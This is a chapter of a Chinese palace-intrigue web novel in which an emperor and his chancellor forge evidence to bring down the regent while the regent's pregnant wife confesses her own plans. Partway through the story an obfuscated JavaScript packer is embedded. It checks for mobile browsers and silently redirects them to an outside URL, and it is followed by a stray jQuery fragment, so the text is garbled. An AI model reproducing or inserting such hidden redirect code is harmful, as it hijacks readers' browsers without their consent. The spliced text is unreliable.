第八十五章坦白
徐峮心中大惊,旋即惊喜异常。
顾承寅这句话无疑是给了他一枚定心丸。
既然当朝圣上都不追究此事了,纵然是摄政王拿出更多证据又能如何?
连日的慌张在此刻终于是安定了下来,徐峮狂喜,“陛下说的是!不论如何,微臣都是站在陛下那一边的!”
顾承寅满意。
“所以,徐相,那你应该也能帮朕的对吗?”
徐峮神色一僵。
顾承寅眸子阴鸷起来,“皇叔所为,已然触及皇权威严,若再放任如此,恐怕朕这个皇帝当真都变成傀儡皇帝了。”
“徐相,朕不管你用什么办法,务必找出皇叔‘**’的更多铁证!”
他眸光幽幽,“唯有此,朕才能理所当然的拿下他。”
“也能如我们所愿。”
……
“朕给你七天的时间,若是七天内,你拿不出来,那就别怪朕,不留情面了。”
徐峮脑海里浮现出顾承寅最后的那句话,以及他那残忍犀利的眼神,毫不怀疑如果他拿不出萧宴清“**”的铁证,恐怕他就会是率先被清除的那一个。
如今他如浮木一般飘荡在水上,前有摄政王,后有当今圣上,不论是往前还是往后,都难逃一劫。
而为今之计,只能死死抓住顾承寅给的这一根浮木,方才有化险为夷的机会。
当即徐峮就眼神一狠,下去准备了起来。
七天说长不长,说短不短,若是查一件案子的真相或许捉襟见肘,但若是制造一些伪证,则完全够了。
七天后,徐峮当即带着自己精心伪造的“铁证”,进宫面圣。
“三年前乌名案一事家户喻晓,云家为贪赈灾银而被当时监国的皇戚下旨查抄,此案涉及诸多官员。”
“这些便是微臣这段日子派人找到的关于摄政王与那些罪臣往来的证据。”
徐峮把手中密信呈了上去。
“密信中尚有摄政王私印,还有他豢养私兵的铁证!”
徐峮目光灼灼,“以此,陛下便能名正言顺捉拿他,哪怕传出去,也寻不到任何错处!”
“届时只要他胆敢反抗,陛下便可以**一罪论处!”
到时候,什么摄政王,不过都是他们的垫脚石罢了。
顾承寅心中一惊,没曾想徐峮当真在短时间弄来了关于萧宴清这么多涉案的“铁证”,心中一喜,当即翻看起来。
待看到密信上的私印后,他胜券在握哈哈大笑。
“徐相啊徐相,朕当真没有白信任你一场!”
“有了这些,朕不信他还有其他法子能够反抗!”
顾承寅眸中精光一闪,准备孤注一掷。
既有了证据,那么拖得越久,便是给萧宴清越多的反应时间的机会。
因此他准备当即就行动起来,调动目前尚能调动的羽林军,计划在萧宴清下次入宫时,发动兵变直接擒杀!
只待萧宴清一死,便什么都结束了!
而彼时的萧宴清,尚对这些一无所知。
凉亭中,他静静的看着坐在对面那人,一时之间,心绪波动异常。
一刻钟前,春饼前来传话,说是王妃有要事要告知于他,请于凉亭中相见。
等他到时,徐梦栀已然在那儿了。
周围空无一人,唯有凉亭中咕噜冒着泡的茶水,热气氤氲,缓慢飘向空中。
给逐渐冷下来的天气平添一分热气。
亦如他尚不平静的心。
徐梦栀见他来了,并没有说话,而是认认真真煮着手边的茶,待茶香四溢后,方才给那人倒了一杯。
“王爷,可要尝尝?”
萧宴清心知徐梦栀今日约他前来不同寻常,但身为摄政王,他亦沉得住气。
他接过徐梦栀递过来的茶,抿了一口。
茶水苦涩,回味又带着甘甜,一尝便知是好茶。
“这是先前有掌柜送来的,说是南下新出的一种茶,自带一阵花香,很是受当地人喜爱。”
“我初尝时,也惊觉好喝,王爷以为如何呢?”
萧宴清看了她一眼,颔首,“好茶。”
徐梦栀莞尔。
她放下手中茶具,手下意识揉了揉酸痛的腰身。
随着肚子渐大,偶尔她端坐一阵后,便觉腰身乏累,需要按揉一阵才行。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17247066|197891||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
萧宴清敏锐的注意到了她这一点,心中犹豫,但到底起身来到了她身边,拿过一旁的软枕跌成一块,垫在了她的腰后。
同时,他强有力的大手更是触在她的腰身上,力道适中的按揉着。
这是他见春饼经常做的事,见多了,便熟记于心。
徐梦栀怔怔的看着他,一时之间,尚有些没反应过来。
等反应过来后,她脸颊一下红了,感觉腰身都软了软,敏感得她往后缩了缩。
萧宴清却不让她后退,强制把她禁锢在原地,动作却极为温柔。
“力道可好?”
徐梦栀耳根红了,心跳如鼓雷一般。
她点了点头,眼神飘忽。
薄薄的秋装根本隔绝不了他掌心的热意,等一开始的不自然过去后,徐梦栀反而是放松了下来,细细感受着那不轻不重的力道。
不多时,腰间的酸疼果然缓解不少。
她垂眸看着眼前认真按揉的人,心中不可避免软了软。
“王爷。”
“嗯。”萧宴清淡淡应了一声。
“你可知我今日约你前来,是所为何事?”
萧宴清眼也没抬,只觉手中腰肢太过柔脆。
这般柔脆的腰是如何支起这么大的肚子的?
萧宴清眼神复杂,心中更是生起了几分怜惜,较之以前更甚。
他低声,“不知。”
但有所猜测。
不过既然徐梦栀愿意主动告知他,他自然乐意之至。
“王爷可还记得我初入王府时,与王爷做的那一个交易?”
斟酌后,徐梦栀开了口。
萧宴清动作停了下来,抬眸看向这人,眸中暗流涌动,“记得。”
徐梦栀避开他的视线,开始自顾自的说了起来。
“云家尚有一遗孤,乃我外祖父的养子,叫林铮。”
“我与他,自万佛寺相遇……”
……
徐梦栀坦言了自己与林铮的部分计划,也将她所知的一切都告诉了萧宴清。
同时,她还拿出了这段时间她跟林铮积累的所有证据。
证据叠叠摆放在黑匣子中,引人注目。